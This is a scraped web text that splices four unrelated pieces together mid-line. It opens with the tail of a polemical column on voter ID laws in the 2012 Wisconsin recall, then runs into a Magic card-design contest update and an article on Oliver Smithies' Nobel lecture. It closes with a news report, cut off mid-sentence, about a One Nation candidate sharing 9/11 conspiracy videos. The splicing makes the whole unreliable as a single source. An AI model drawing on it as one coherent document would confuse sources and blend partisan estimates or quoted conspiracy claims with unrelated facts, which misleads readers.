15 percent voters with household income under $35,000 a year.
Now, don’t add them up because there’s a lot of double-counting here. “Poor,” “black,” and “young” go together like “stop” and “frisk.”
But let’s cut to the chase: the draconian ID law and other voting and registration restrictions passed in just the year before the 2012 election, according to the Brennan Center, are going to cause five million voters to lose their civil rights.
Overwhelmingly, the changes were made in twelve “battleground” states, with the most radical exclusion laws adopted in Florida and Wisconsin. The cheese-chewer state will require government-issued IDs to vote. But the IDs issued by the state itself to University of Wisconsin students won’t be accepted. That’s okay because, as a New Hampshire legislator, hoping to emulate Wisconsin, points out, “Kids, you know, just vote liberal.”
Using a formula provided by the Brennan Center, we can calculate that 97,850 student voters were barred, turned away, blocked, challenged, or given provisional ballots (left uncounted) on recall Election Day in June. No US paper listed Wisconsin as a “swing” state that month. Well, it swung.
Altogether, the 2012 changes in Wisconsin law were sufficient alone to account for the victory of Republican Governor Scott Walker in staving off that recall vote in June 2012. Walker did have the popular support of $31 million (versus $4 million raised by his Democratic opponent).
***********************
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Follow Palast on Facebook and Twitter.T he eight finalists of the Great Designer Search 2 got the judges' feedback on their initial design tests last week. They were also given, concurrently with the audience, the first Design Challenge. Each designer was asked to submit a set name and "logline" (updated as appropriate) and eighteen common card designs in a single color. They're working within the constraints of the "world designs" they submitted for the initial design test, with tweaks based on the judges' feedback and design suggestions from people on the GDS2 page of the Magic Wiki.
Click on the names below to read the designers' submissions, and come back next week to read the judges' responses, see who gets cut from the Top 8, and find out the next Design Challenge!
Contestants' responses appear as submitted.To hear Oliver Smithies tell it, there was a direct line from one of his first lab projects to the experiments that won him a Nobel Prize. Smithies showed that it was possible to target genes for disruption in mice, a technique that has revolutionized genetics and provided information relevant to human health.
You wouldn't have guessed it based on the first slide of his talk at the Lindau Nobel Laureates meeting taking place this week in Germany. The slide showed an early page from Smithies' lab notebook of a failed attempt to isolate insulin, an experiment that he had dragged himself into the lab to perform on New Year's Day.
By showing page after page of his notebook to the audience, Smithies gradually told the tale of how failing to purify insulin eventually led him to a successful scientific career.
The long and winding road
Smithies had tried to isolate insulin using a standard chemical technique called plate chromatography, but the protein didn't cooperate. So, thanks to another lab in his building, he tried a new approach, separating the protein on a gel made of starch. It worked so well that he started separating any mix of proteins he could get his hands on, just to see what showed up. One day, he ran a bit of blood serum and found double the number of proteins that most people thought were present.
Smithies dropped insulin like a rock and never looked back.
He began to hit up all his friends for blood samples and eventually found that different samples produced different patterns of proteins. There was a bit of confusion—the first sample that showed a different pattern happened to be Smithies' first female test subject, and that led to jokes about possible sex change operations. But, eventually, the region of the chromosome responsible for the differences was pinned down.
All the steps were illustrated by yet more pages from his notebooks, many with hand-drawn diagrams of his gels. His lab was so small—"it was just me!"—that Smithies couldn't afford a camera.
The reason for the difference in proteins eventually took Smithies in a new direction. Some people carried a region of chromosome where recombination had gone wrong, dropping an extra copy of some genes in between the normal ones. That got Smithies interested in the process of recombination, an interest that was furthered by the finding that some cancer-causing genes were the product of faulty recombination events.
If a bad copy of a gene could be generated by faulty recombination, Smithies reasoned, it should be possible to eliminate it through another recombination event. So, he began to generate the DNA needed to knock out the cancer-causing oncogene; more pages from the notebook appeared, including one that he pointed out was from his birthday.
"It didn't work," Smithies said. "You don't necessarily get special dispensation because it's your birthday."
Do it yourself
After enough failures, however, Smithies and his co-workers were eventually able to get the technique working and refine it, in part with a bit of homemade equipment. It wasn't the only bit of homemade equipment Smithies showed a slide of. After the PCR technique was published but before it was commercialized, he ended up making his own PCR machine.
"Make equipment if it will save time, but never make equipment to save money," he advised the audience, noting that a lot of custom hardware will end up wasting money in the long run.
Looking for ways to put his technique to use, Smithies crossed paths with Martin Evans, another one of the speakers. Evans had developed mouse cells that we now recognize as embryonic stem cells, and he developed a way of getting them incorporated into a developing embryo.
With Smithies' recombination and Evans' cells, "knockout mice" could be made with a researcher's gene of choice eliminated. Very quickly, key genes shared by mice and humans were knocked out by biologists at institutions around the world, which is why Smithies' award came in the medicine category.
At 85, Smithies remains an active scientist, and he finished his talk with a slide of another page in his notebook—one from last Saturday.A One Nation candidate has posted and backed conspiracy theories about the September 11 terror attacks on his Facebook page.
John Cox, who is running for Redcliffe in the upcoming Queensland election, questioned if footage from the 2001 terror attacks that killed nearly 3,000 people was legitimate on social media.
Mr Cox shared a video called, 'Where is the plane that flew into the second tower on 9/11' from a conspiracy news page in December, Buzzfeed reports.
One Nation's John Cox questioned the legitimacy of the 9/11 attacks on his Facebook (pictured)
'I wish the news was always neat and straight,' he wrote under it.
Claiming to be a 'rare' news broadcast it allegedly shows the moment the second tower of the World Trade Centre exploded without a plane flying into it.
The conspiracy theory claims the attacks were an actually an inside job and the plane flying into the building was added later digitally into news footage that was later broadcast.
John Cox is One Nation's candidate in the upcoming Queensland election
'The oppressed need to wake up to the lies being told by the mainstream media and the attacks were 'pure murder by [the] American government,' was just one comment made on the video.
Cox also shared a video that claims the crash of hijacked American Airlines Flight 77 into the Pentagon was also faked.
'There is no evidence of a plane having crashed anywhere near the pentagon,' the reporter in the video says.
'The only pieces left that you can see are small enough that you could pick up in your hand… there are no large tail sections, wing sections, a fuselage, nothing like that.'
Cox agreed with the video |
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